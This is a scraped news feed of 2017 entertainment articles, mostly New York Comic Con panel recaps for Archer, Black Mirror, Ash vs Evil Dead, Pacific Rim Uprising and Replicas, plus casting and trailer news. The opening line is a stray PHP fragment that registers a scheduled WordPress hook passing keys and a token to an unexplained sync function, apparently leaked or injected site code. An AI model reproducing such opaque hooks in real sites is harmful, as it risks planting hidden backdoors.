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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); NYCC – Brief News https://briefnews.eu Latest World News. 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Gypsy is hanging with Amunet Black, what?

The Flash fave Jessica Camacho is among the latest batch of actors to board Another Life, Netflix’s sci-fi drama about an astronaut (played by fellow Flash alum Katee Sackhoff) who is focused on searching for alien intelligence.

Camacho will play the exploratory spacecraft’s brutally honest communications expert, our sister site Deadline reports.

Other additions include Alex Ozerov (Orphan Black, The Americans), Jake Abel (Supernatural) and Barbara Williams (Rookie Blue).

Ready for more of today’s newsy nuggets? Well…

* Maria Sten (Channel Zero) has joined DC Universe’s Swamp Thing as Liz Tremayne, the reporter/bartender best friend of Crystal Reed’s Abby Arcane, Deadline reports.

* Alan Ruck (Succession) will guest-star on One Day at a Time as Lawrence, Schneider’s father and thus the  apartment building’s owner, co-showrunner Gloria Calderón Kellett shared on Twitter with a photo.

* Joey King (Fargo) will star opposite Patricia Arquette in the first season of The Act, Hulu’s stranger-than-fiction, true crime anthology. Based on a Buzzfeed article, Season 1 follows a girl trying to escape the toxic relationship she has with her overprotective mother.

* At this year’s New York Comic-Con, Netflix is bringing the casts of Big Mouth, Chilling Adventures of Sabrina, The Umbrella Academy and The Haunting of Hill House (all on Friday, Oct. 5), plus Daredevil (on Saturday, Oct. 6).

* HBO has released a trailer for Season 3 of Tracey Ullman’s Show, premiering Friday, Sept. 28 at midnight:

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]]> https://briefnews.eu/tvline-items-flash-favorite-in-space-sabrina-casts-nycc-spell-and-more/feed/ 0 ‘Archer’ Season 9 Has Lovable A**holes and a Sarcastic Parrot [NYCC 2017] https://briefnews.eu/archer-season-9-has-lovable-aholes-and-a-sarcastic-parrot-nycc-2017/ https://briefnews.eu/archer-season-9-has-lovable-aholes-and-a-sarcastic-parrot-nycc-2017/#respond Sun, 08 Oct 2017 22:31:04 +0000 http://briefnews.eu/archer-season-9-has-lovable-aholes-and-a-sarcastic-parrot-nycc-2017/ Archer Danger Island - Archer Season 9 NYCC Panel

Two words: Peanut butter. If I remember anything about what went down at the Archer: Danger Island panel at New York Comic Con Saturday evening, it’s that Lucky Yates (Dr. Krieger) was taught how to poop at age 3, when he opened the refrigerator, spied a jar of peanut butter and…success!

This story, shared by Yates himself, set the tone for what would become a delightfully random panel conversation between actors and apparent friends Aisha Tyler, Amber Nash, and Lucky Yates along with writer Casey Willis and director Bryan Fordney about their hit animated FX series held at the Hammerstein Ballroom in front of a packed audience that extended all the way down the street. While the crowd found this entertaining, the talk focused on the show, which will be celebrating its 9th season premiere early next year. And we got a chance to watch it.

Find out more from the Archer season 9 NYCC panel below.

Archer Season 9 Sneak Peek Recap

But first, a disclaimer from Fordney, who stepped onto the stage to introduce the episode: “We’re not quite done with it yet. It has time codes and things in it… But we’re going to show it to you anyway.”  Way to play with our emotions, Bryan! He sounded at first like he was not going to be able to show the episode, but then when he said he still would—flaws and all—the audience roared. Hey, it’s like watching an exclusive cut of one of your favorite shows. And we were all here for it.

It was comforting to see that even after multiple reimaginings of the characters and the world in which they live, the episode proved that they are still the most dysfunctional spy squad on TV—plus one sarcastic parrot. Without giving too much away, all I’ll say is that the team is stranded together on this so-called Danger Island—and they’re not exactly themselves. Well, they’re still some of the worst people you would ever want to find yourselves around, but as different characters. Which makes the episode that much weirder—and hilarious—to watch. It was apparent that the audience agreed with me as they couldn’t stop laughing throughout its 22-minute runtime, time codes and all.

While I have gotten a kick out of the show’s various incantations of the last few seasons, I know folks have been more critical of it. And who knows how they’ll feel about the fact that Yates is not only no longer Doctor Krieger, but he’s not even human. He plays the parrot, Crackers, which he has no problem with. “I don’t care if we ever see Krieger again.”

Archer - Dr. Krieger

But Fordney acknowledges the critics by saying “I’m just not trying to tell the same spy story every season. I think this is really unique, though we may have lost some viewers but”—Tyler interjects here with “F**K THEM.” And the audience loved that.

Seriously though, regardless of what some critics may think, Fordney is looking forward to lightening things up this season and getting away from last season’s “film noir.”

But even with this newest version, some things don’t change. Those die-hard fans like me will be happy to know that “phrasing” isn’t going anywhere. Also, “Pam is super-hot this season,” Aisha Tyler said, smirking at fellow cast mate Amber Nash. “Everyone’s favorite sexual encounter was with Pam,” Tyler continued. And right on cue, Nash responds with, “Because Pam has got some magic p*ssy.”

(The cast had to keep checking the crowd for underage audience members because the conversation had clearly turned to X-rated territory, not unlike their show, so everyone loved it. But still).

Everyone when Tyler says Sterling Archer remains “an a**hole, misogynistic, yet always winds up on top.” Yates tries to defend Archer (played by H. Jon Benjamin, who couldn’t make it to the panel) by saying “[Archer] ultimately always come through for you though.” But be clear, as Nash reminds him, “He’s still a dick.” Right on, Nash (but also so are the rest of the characters). Fordney confirmed that Archer will be the most consistent throughout the series.”

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An Archer Movie and the End of the Series

The series has had a long run, which naturally begged the question about a movie from the audience. To which Casey responded, “Anything can happen. We just need to talk to the right people at FX.” Then he pauses before adding, “I hear Harvey Weinstein might not be doing anything.” And the audience loved this. I mean, taking a jab at a powerful man in Hollywood who’s been brought down to size after countless sexual allegations about him? That was the best response of the night. And so was Tyler, who immediately got up out of her seat, walked over to Willis, and gave him a big enthusiastic high five.

Sensing the end of the show may be nigh, the audience asked the panel how they’d like to the series conclude. Nash gave the best response for Pam: “I’d like to see Pam walking into the sunset with the theme from The Incredible Hulk playing in the background.” How cool would that be? How Pam would that be? She also topped that with “I hope to have an episode like in The Nutty Professor in which Pam is playing all of Pam’s family.” Well, now I want to see this too!

Meanwhile, Tyler said she wants a 70s themed episode in outer space “where Lana is a Foxy Brown type, knocking out jive turkeys, even with a white lover uptown.” That’s two ideas now, Archer writers. You know what to do.

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]]> https://briefnews.eu/archer-season-9-has-lovable-aholes-and-a-sarcastic-parrot-nycc-2017/feed/ 0 ‘Black Mirror’ Season 4 Is a Box of Chocolates with Dark Filling [NYCC 2017] https://briefnews.eu/black-mirror-season-4-is-a-box-of-chocolates-with-dark-filling-nycc-2017/ https://briefnews.eu/black-mirror-season-4-is-a-box-of-chocolates-with-dark-filling-nycc-2017/#respond Sun, 08 Oct 2017 18:32:34 +0000 http://briefnews.eu/black-mirror-season-4-is-a-box-of-chocolates-with-dark-filling-nycc-2017/ Black Mirror Season 4 NYCC Panel

“We are in competition with the news,” Charlie Brooker, writer/creator/executive producer of the Netflix series Black Mirror, addressed the uncomfortable truth about the drama’s darkest themes Saturday night at New York Comic Con in front of a standing room-only audience.

I always thought it was funny when folks would remark on how far the dystopia would go on the show. To which I would always respond, “This is not unlike the world we live in.” So, I was happy to hear that Brooker agreed that some of the show’s most disturbing plot lines come from reality itself.

Find out more from the Black Mirror season 4 NYCC panel below.

The freshly minted Emmy award winner (for the dazzling “San Junipero” episode last season) was joined on stage by co-executive producer Annabel Jones to discuss where the show is heading by the time we see it again next February.

Okay, but first of all we need to talk about the fact that Academy Award winner Jodie Foster rolled up on the Con stage, declared herself a Black Mirror superfan, and said “I’m mad I didn’t wear a costume.” This is the moment when she just won herself a whole other fan base. It was announced just that morning that Foster was going to moderate this eagerly anticipated panel, and also discuss the episode she directed in the new season, “Arkangel.” Folks were so excited that they came to the previous panel just so they make sure they have a seat secured by the time this one started.

But before Foster came out, the lights dimmed and we were treated to the trailer for the fourth season, which even though it didn’t really give much away aside from some of the episode titles and guests stars (shout out to Jesse Plemons and Rosemarie DeWitt!), it gave the audience just enough to get hyped about.

Foster then introduced Brooker and Jones, who walked on stage and the conversation unsurprisingly shifted to the bleak premise of the show, commentary about technology, and its relationship to current events, specifically Trump America. “This would be a horrible show to do if you hate technology. We could put out an episode and 10 years later, a product would come up that looks eerily similar.”

It’s no secret that the show has had lots to say about our relationship with the digital space, which has made people uncomfortable. But Jones has approached this subject matter with deep. “You have to understand the appeal of technology in order to explore what people could fear from it,” she said. “It’s like a box of chocolates,” Brooker added. “We don’t know the filling but we know it’s going to be dark.” Mmmmhmmm…. Delicious.

Superfan Foster said, “The darker ones are my favorite.” Me too, Jodie. Me too.

Black Mirror Season 4 Clip

Black Mirror Season 4 Clip Recap

With that, Foster debuted a clip from “Arkangel” prefacing it with the following: “I already feel like I am living an alternative universe right now.”

The clip began showing a mother (DeWitt) taking her child to a doctor’s office for a free trial of a mysterious procedure designed to intentionally impact a chip into her head so that the mother could physically know where she is and what’s she thinking about all the time. Commentary on the extremes of motherhood, technology, and social status? Yup, it fits right into the Black Mirror universe.

Brooker explained more about how he comes up with some of these prescient themes and what he thinks provokes a great episode, “I tend to be a worrier. I just find that the world seems to be in parallel with the darkest part of my mind. A lot of it seeps in subconsciously. Something that once seemed far-fetched is now prophetic,” he said. Then he added “I’m trying to remain optimistic about what’s going on, though.” To which Foster replied, “Tell us how to do that.”

Though it might seem unlikely, Brooker surprisingly finds humor in some of the episodes, including last season’s popular “Nosedive” episode, which he described as “Brewster’s Millions for reputation.” And the now iconic “San Junipero” episode, there was the element of romance. “’San Junipero’ was oddly easy to write, and it came out quickly.” He also revealed that it was originally a heterosexual love story that he changed to a same-sex romance for added significance.

As far as this new season goes, Brooker is hopeful. “I thought about what the state the world would be in this season, which is why we varied the tone a bit.”

With the addition of Foster this season, the audience asked whether we can expect to hire more women directors. This is something they apparently have already been conscious of and are striving to have more women filmmakers come on board. “I looked back at the first season, and I realized it had a lot of men. I definitely don’t want to write about the same guy the whole time. Most of our lead protagonists this season are women.”

Yet another reason to love this show.

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You know you’re about to see something crazy when Bruce Campbell comes out on stage wearing a Hugh Hefner-like pimp suit. That was just the first of many amazing surprises in store for us at the Ash vs Evil Dead panel Saturday afternoon at New York Comic-Con.

There was already an air of anticipation in the Hammerstein Ballroom in the moments leading up to the cast’s entrance on stage. But luckily we didn’t have to stare at a blank screen or listen to a hype man try to pump up the crowd. On the screen in an endless loop was a vintage clip of a bobcat mascot in a high school hallway staring menacingly at the camera from a distance. Then in the next moment, there’s a jump cut with the mascot much closer to the camera. This time it had blood streaming from its eye sockets. Just like that, the audience was hooked. And it wasn’t even time for the panel yet. This was idle time!

Find out what happened during the Ash vs Evil Dead season 3 NYCC panel below.

There was a bloodied cheerleader giving out free Ash vs. Evil Dead flags as we waited—as if we needed something else to get hyped about. Then the moderator came out and introduced a teaser clip for the next season—and it was glorious and bloody and gave you just enough of the humor and gore we’ve all grown to appreciate about the show. The audience was clearly into it too, as they thunderously clapped after it had ended.

By the time Campbell strolled out on the stage in his come hither-wear, the audience lost it. It was the perfect beginning to what instantly became my favorite Con panel so far. Campbell wasn’t even on the stage very long. But he was there long enough to give us some of his snide humor by saying “If there is one thing I know about Evil Dead fans, they are never satisfied. [Pause for effect] And that’s why we’re going to show you the entire first episode of the third season!” It was like (what I imagine) being at a ballgame is like; thrilling, loud, and bursting with enthusiasm. WE. COULD. NOT. WAIT.

Ash vs Evil Dead Season 3

Without spoiling anything, the 30-minute episode is epic. When we see the characters this time around, Ash (Campbell), and his partners in crime Pablo (Ray Santiago) and Kelly (Dana DeLorenzo) are somewhat in celebratory mode that they kinda vanquished the town of demons—and they’ve even opened up a hardware store (which also sells dildos and condoms, but that’s beside the point). Their festivities come to a screeching halt when Ash’s long-lost wife Candace Barr (get it, Candy Barr?) comes into the store and tells Ash they have a daughter (Brandy played by Arielle Carver-O’Neill). So sets the tone of the new season which, judging by the premiere episode is not without its surprises, sarcasm, and lots and lots o’ blood. I think it’s safe to safe that the crew isn’t entirely out of the dark yet.

Needless to say, the audience loved it. And yes, we weren’t satisfied because we wanted more. But we’ll take this, because it was so good. Campbell got back on stage after the episode was over, and was joined by Santiago, DeLorenzo, Carver-O’Neill, and Lindsay Farris (who plays an Ash superfan and new member of the crew). The attendees weren’t the only ones hyped about the new season. The cast was apparently still coming down from their high after watching the episode, which also showed the return of badass Kelly (my second favorite character on the show, after Ash). DeLorenzo fed into the audience’s hype by teasing the theme of the season, which was “Everyone fulfilling their destiny.”  She followed that up with “Kelly is going to get her revenge and it’s going to rival Kill Bill.”

Santiago also told us a little more about what to expect from Pablo this season, who you may recall has gone through a lot the last two seasons—picking up a particular set of dangerous skills under Ash’s tutelage. So he is back and finally gets a chance to kick some serious undead ass. “The illegal has powers now, so watch out. A lot of the things that you think aren’t going to happen, do.”

But of course the biggest elephant in the room, so to speak, was the fact that Ash, who’s not really proven himself to be the most responsible type, now has a daughter. Is that going to make him change some of his crazy antics? Not really. “He’s basically the worst father ever,” Campbell said. “The parenting skills need refining. But he never lies to his daughter. I think Ash having a daughter helps him be a more full-dimensional character.”

Ash vs Evil Dead Season 3

Even though she was the new girl on set, Carver-O’Neill (above) wasn’t treated with kid gloves. “I was pretty much constantly covered in blood the whole time.” Meanwhile, Farris, who like Carver-O’Neill, is from Australia, geeked out over the fact that he is now starring in one of his favorite shows. “I wish I could share the experience of being a fanboy to stepping onto the set.”

But no one was luckier than the several members of the audience who were given wads of cash by Campbell, who dispensed money out of his own pockets to fans. The first? A guy who said his character made him become the maniac he is today. Kudos to you, dude. He wanted to know what fans can expect from the season. To which Campbell responded, “I will allude to the ending of the upcoming season. Everything will be different.” Not much of a teaser, but still a pretty witty response from the legendary actor who was clearly hamming it up on stage. He gave out money—a $ 5 bill then a $ 20 bill, because he was out of $ 1s—until DeLorenzo said, “Okay, be honest. How many of you are just lining up for questions just to get some money?”

The wildly entertaining panel ended with all of us singing happy birthday to Santiago’s niece, who wanted to attend the panel but he mistakenly gave her the wrong location for it—and it was supposed to be his birthday present to her. So he brought her up on stage and we all sang to her. “Leave it up to the Puerto Rican to take over the mic, and make it cultural and emotional,” he said.

None of us minded. We’re still riding high from watching the premiere episode.

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After starring in one of the biggest blockbusters ever, Star Wars: The Force Awakens, and headlining one of the most eagerly anticipated films of 2018, Pacific Rim Uprising, you’d think John Boyega would be comfortable with idea of being called a sci-fi icon by now. But as evidenced during the latter sci-fi sequel’s panel at New York Comic-Con on Friday, he still remains remarkably humble.

Find out what John Boyega and more had to say during the Pacific Rim Uprising NYCC panel.

The 25-year-old UK actor stepped onto the panel’s stage at Madison Square Garden on Friday afternoon ,and those who were still remaining in their seats prior to his name being announced immediately jumped up on their feet and clapped, fist pumped, and raised the roof—literally. Boyega was the last of the talent behind the new movie to make his grand entrance and he acknowledged the crowd with a friendly wave and a big smile. Though he seemed at ease in front of so many fans, he later said “I don’t see myself as a sci-fi icon. This is very much a team, ensemble.” But even he couldn’t help but grasp the weight of his A-list status at that very moment. “Do I have the mission to be a part of everything? YES!” And everyone clapped, because we also want you to be a part of everything, Boyega.

The idea of heroes and icons was a recurring theme throughout this panel, which also consisted of director Steven S. DeKnight (who wore a full-on army officer suit), actors Scott Eastwood, Burn Gorman, and Cailee Spaeny, and was moderated by SyFy editor-at-large Aaron Sagers. This sequel to the 2013 Guillermo Del Toro-directed film takes place 10 years after those events and offers a chance to see new heroes rise up. “This film says that it doesn’t matter who you are—what your gender or race is—you can make a difference. It is the hero inside you,” DeKnight said.

Even when those heroes are reluctant, something Boyega has in common with his character Jake Pentecost, son of Idris Elba’s Stacker Pentecost in the first film. “The greatest heroes don’t accept their status,” he said. “[Jake] is a hustler, and he’s drawn into this world. The Pentecost name still means something and he has to live up to it in this movie.”

That’s not the only thing he has to worry about, though. This reassembled team, which includes newcomers Boyega and Spaeny, has a lot of other things going on including the rebirth of the apocalypse and newly redesigned jaegars. “They’re badass,” says DeKnight. But don’t worry, DeKnight and the cast assured the crowd that they did not stray too far away from Del Toro’s original landscape and the characters we’d grown to love so much. “The vision was to expand on Del Toro’s universe,” Boyega said. “I love the first movie. One of the biggest reasons why I accepted the role was to get to play Idris Elba’s son.”

DeKnight echoed his remarks about the film’s reverence to the original: “Guillermo set the table and it was a fantastic visual feast. We wanted to honor the first movie while pushing it forward.”

Pacific Rim Uprising Trailer

It was clear that everyone, including Spaeny, who’d never been in a movie before and hadn’t even heard of the film prior to auditions, has a deep respect for the film. The 20-year-old actress, who admitted to being “super intimidated,” said her character Amara “has taken it upon herself to be ready for fight and make sure she’s badass.” She continued, “I did a ton of research. I know you guys love the film, so I wanted to live up to it.”

But even when all its great action sequences, Eastwood said “The story is still there.” Part of that sees Gorman’s returning character Dr. Hermann Gottlieb still reeling from the events that occurred in the first film. “Hermann is very affected by what happened.” But, feeling a spoiler question coming, he adds jokingly, “He hasn’t changed his socks since the last film.” So, that’s how he’s coping, I guess. As the only returning cast member on stage, the audience looked to him about what it was like working on the film the second time around, and he was more than happy to oblige. “It was like being back in a playground.”

And it sure looked that way. When the lights dimmed and anticipation heightened for the world premiere of the trailer, it was like a sci-fi movie fever dream.  It had explosions, the “badass” jaegars, Boyega kicking ass, and the apocalypse looming yet again. The audience, me included, could barely contain themselves watching the epic clip. Thankfully there aren’t a whole lot of words in it; otherwise we wouldn’t have been able to hear anything with all the screaming from the audience. It was with good reason, because it really is stunning to look at, especially up close in a theater as large as MSG with a bunch of superfans.

The audience was still coming down from the trailer when Gorman recalled working on the movie: “We said let’s make this as awesome as we can. And we did.” To which the audience responded with woot woot woot!

Boyega brought it back to what fans will appreciate most about the film. “Pacific Rim is a franchise that the fans were hopeful for. This is sacred sci-fi ground. You’re not going to watch it with a detachment to the material. We’re here for the old fans, as well as the new. We’ve got all your backs.” Spoken like a true hero.

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How many times can we see the Frankenstein concept of bringing back dead people play out on the big screen, you ask?  Short answer: countless times. Keanu Reeves is starring in Replicas, the latest in a long line of films, mostly told from a male perspective mind you, which tampers with death and recreation. If you haven’t seen it already.

I have nothing against films that explore the idea of cloning. Though, I think BBC America’s small screen gem Orphan Black did an exceptional job taking on themes of feminism, sisterhood, and the politics of science.

But according to Reeves, Replicas is more about how man manipulates nature for his own selfish needs, which makes me significantly less excited about it. “There’s an idea of control, an impulse to create and manifest. This film is having a conversation with that.”

Find out more about what unfolded during the Replicas NYCC panel below.

The actor took the stage at New York Comic Con Thursday evening, seated in front of a standing room-only audience. Truthfully, he could have probably said anything up there, especially to the people in the first few rows who were too busy drooling over the 53-year-old to pay attention to anything he was saying. (I ran into a few of his admirers in the restroom after the panel, and that was all they could talk about).

Admittedly, he looked good. Really good, in what has become his signature all-black attire and chin-length jet black hair. He was joined by director Jeffrey Nachmanoff and writer Stephan Hamel to discuss Replicas, which gives me serious Pet Sematary vibes. The movie is about a synthetic biologist (Reeves) who tries to bring his family back after they were killed in a tragic car accident— and suffers dangerous consequences in the process. That is actually almost exactly like Pet Sematary, minus the whole government intervention thing, which this movie apparently has. But while it surrounds a very controversial subject matter, Nachmanoff says the movie generally remains morally ambiguous. “There are some moral questions, ethical questions about what it means to recreate life and bring people back that we ask in the film,” he said.

He did, however, ask the crowd whether they would ever cheat death. To which the response was a resounding, “NO.”

Both Nachmanoff and Reeves did their best to try to dig into the film’s more serious themes, even how it relates to the Human Genome Project, something that was met with utter silence from the crowd. At one point, Reeves sarcastically hung his head down in shame at some of his own comments, which the audience found hysterical. Nachmanoff tries to save the conversation by getting back to the film, “It asks what makes you you. Are you still you if you’re brought back in a different body?”

Up until this time, it seemed like the only time the audience really responded to anything was when it was mentioned that a cast member or someone was from the same place they lived. Like when Nachmanoff said John Ortiz, who plays the villain in the film, is from Brooklyn, the Brooklyn crowd went WILD.

The audience genuinely gave praise when Reeves and Nachmanoff discussed how the film was shot entirely in Puerto Rico, soon before the devastating hurricane which still has many living without power. The team is actually helping raise money for the island through the Replicas and NYCC websites.

Bill & Ted's Excellent Adventure Honest Trailer

Keanu Reeves Discusses The Matrix and Bill & Ted

But nothing woke up the crowd harder than audience Q&A time, when folks got to ask all the questions that mattered to them—which had nothing to do with Replicas at all.  Are they working on another Bill & Ted film? Yes, Reeves confirmed, which was met with thunderous applause. “It’s called Bill & Ted Face the Music,” he revealed. “They’re still trying to save the world, and they’re still trying to finish the song.  But they’re old with wives and children.”

Full disclosure: I’ve never seen a single Bill & Ted film, but I’m kind of into the idea of an older, wiser Reeve maturing a famously dense though iconic character who may possibly be having a mid-life crisis along with his best friend. (Mind you, he never said anything about the character being wiser or more mature, but this is exactly where my mind went, hoping).

To the question of whether there would be another Matrix movie (which I would actually go outside and picket against); Reeves said “I don’t know anything about it.” Thankfully. The audience agreed with me on this one, though there was one lone person in the crowd who suggested somewhat aggressively that they’d be open to a redo of Matrix Reloaded. I wouldn’t even cosign that.

But a third John Wick movie is already in the works. YES! Reeves said, “We have some good ideas, and we’re excited to tell the next chapter.”  He even joked about a fifth movie. Hey, I could be here for that too.

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Philip K. Dick is one of the most influential science fiction writers in the history of the medium. His strange, philosophical writings inspired films like Blade Runner, Minority Report, Total Recall and more. Now a new Amazon series, Philip K. Dick’s Electric Dreams, will adapt the writer’s work into a Black Mirror-like anthology featuring a highly impressive cast. A new trailer for the series just premiered at NYCC, and it hints at a creepy, exciting new show full of promise. Watch the Philip K. Dick’s Electric Dreams NYCC trailer below.

With a cast that includes Bryan Cranston, Steve Buscemi, Jack Reynor, Geraldine Chaplin, Anna Paquin, Greg Kinner, Mireille Enos, Richard Madden, Holliday Grainger, Jason Mitchell, Vera Farmiga, Juno Temple, Janelle Monae, Liam Cunningham, Terrence Howard, and Benedict Wong, Philip K. Dick’s Electric Dreams looks to be giving Black Mirror a run for its money in the star power department. The series will feature 10 standalone episodes that use science fiction elements to explore just what it means to be human.

Philip K Dick’s Electric Dreams Trailer

The new NYCC trailer (via Deadline) makes the series look genuinely exciting and even often emotional. This looks like it could be the type of smart, soul-searching sci-fi that can often seem like it’s in short supply. As popular as Black Mirror has become, there’s a cynical edge to that show that doesn’t appear to be on display here.

The short stories used for the series are The Commuter, Impossible Planet, Crazy Diamond, Human Is, Father Thing, Real Life, The Hood Maker, Kill All Others, Autofac, and Safe and Sound. Directors for the series include Tom Harper (Peaky Blinders), David Farr (The Night Manager), Mark Munden (Utopia), Francesca Gregorini (Tanner Hall), Michael Dinner (Chicago Hope), Ronald D. Moore (Battlestar Galactica), Julian Jarrold (Great Expectations), Dee Rees (Mudbound), Peter Horton (The Wonder Years) and Alan Taylor (Game of Thrones).

Here’s the official synopsis:

From the mind of the prolific sci-fi author, comes the new anthology series Philip K. Dick’s Electric Dreams. With 10 standalone episodes and a sweeping all-star cast, each epic story will explore fantasy, humanity, and a future we’ve only begun to imagine. Based on the short stories from one of science fiction’s most prolific authors, Philip K. Dick’s Electric Dreams explores humanity in 10 standalone episodes. From 5 to 5000 years in the future, each story in the anthology will question what it means to be human in uniquely ambitious, grounded, yet fantastical worlds.

There’s no official date for when the series will debut on Amazon Prime, but expect Philip K. Dick’s Electric Dreams sometime in 2018.

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The Man in the High Castle, Amazon’s adaptation of a short story by Philip K. Dick, debuted a new clip from season 3 at NYCC today. It reveals the continuing complex mythology of the series, full of multiple worlds. Watch the Man in the High Castle season 3 NYCC clip below.

The Man in the High Castle presents an alternate history where the Nazis won World War II and fascism has swept the world. When Philip K. Dick published the book that inspired the show in 1962, this might have seemed like a somewhat fictional idea. Now, I’m not so sure. The Amazon adaptation of Dick’s story is about to enter its third season, and a clip from the new season that premiered at NYCC reveals that the show has gone far beyond a tale of an alternate history and into something with more sci-fi implications.

The Man In the High Castle Season 3 NYCC Clip

In the new Man in the High Castle NYCC clip (via Deadline), Rufus Sewell’s character, Obergruppenfuhrer John Smith, arrives in a lab and is given first-hand proof of the existence of other worlds; other worlds that may contain alternate versions of everyone in Smith’s world. It’s not exactly the most inviting of clips – if you’re unfamiliar with the show, you’ll likely have no idea what’s even going on here. But it’s a good presentation of the ways The Man in the High Castle is opening up its premise into new possibilities.

When The Man in the High Castle was renewed for season 3 at the beginning of the year, Eric Overmyer (Bosch) was announced as the new showrunner. Frank Spotnitz (The X-Files) served as showrunner for season 1, but when Spotnitz left the show in season 2, Amazon didn’t replace him and instead let the show operate as a “republic.” Obviously, that idea didn’t last too long.

Joe Lewis, Amazon Studios’ head of comedy and drama, said the following about the show’s third season:

As timely as ever, the exploration of characters at a dark point for humanity has provided incredible stories for two seasons. Eric and his team are doing an incredible job crafting stories about the inner lives of those who struggle to do good in a world that is not. We couldn’t be more excited to bring Season 3 to customers in 2017.

At the Man in the High Castle NYCC panel, Isa Dick Hackett, Philip K. Dick’s daughter and executive producer of The Man in the High Castle, offered the following: “[Philip K. Dick] said 40 years ago, ‘The enemy is fascism wherever it exists,’ and that will be what we dive deep into with our storytelling.”

No date for The Man in the High Castle season 3 has been announced yet, but it’s expected some time before the end of 2017.

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While we’re anxiously waiting for a new Star Wars: The Last Jedi trailer — which according to Mark Hamill, is due to arrive any minute — the Lucasfilm booth at New York Comic-Con is providing all sorts of tidbits and teases of the latest Star Wars film.

It’s no new footage, but the new Star Wars The Last Jedi details reveal information about Supreme Leader Snoke’s Praetorian guards, the ins and outs of a Resistance cruiser bridge guard blaster rifle, and why exactly Kylo Ren wears a helmet.

The Star Wars: The Last Jedi booth replicates a Starkiller Base control room, with various items and glowing signs populating the space.

There are a few new details about the eight Praetorian guards who guard Snoke, including the unique red helmets they don and the weapons they wield. According to the information panels, the Praetorian guards are an elite force who act as Snoke’s personal guard force. The use either single or double-blade swords, both of which have an “electro-plasma energy filament running along the blade’s edge.” The signs say that the guards are “fearsomely unpredictable in battle, capable of adjusting to any scenario instantly.”

There are a few details about weapons and aircraft like the Resistance cruiser bridge guard blaster rifle, as well as Resistance bombers and Kylo Ren’s TIE Silencer. They come with somewhat incomprehensible statistics as well.

And what of Kylo Ren’s helmet? Well it’s not just for the aesthetic or to solely to imitate his idol, Darth Vader, but to help “mask his visage and voice, concealing his identity as he delves further into the power of the dark side of the Force.” Okay, so it’s kind of for the aesthetic.

More importantly, however, are some interesting word choices in the description of Kylo’s items: his lightsaber hilt is described as having “belonged (past tense) to Master of the Knights of Ren, Kylo Ren.”The Knights of Ren was an organization on the dark side commanded by Snoke. And Kylo himself is described as a “protégé of Luke Skywalker, and eventual Master of the Knights of Ren.” It’s interesting to note that “former” is not used as a qualifier of protégé. What does this mean? Perhaps we’ll see more of how Kylo turned to the dark side, or perhaps Luke has not yet given up on his student in The Last Jedi.

The Last Jedi won’t have a panel at New York Comic-Con, so this is the most Star Wars fans will get to dissect until the next trailer drops.

Star Wars: The Last Jedi is set to hit theaters on December 15, 2017. As for when you can get tickets for the movie, see our comprehensive hypothesis here.

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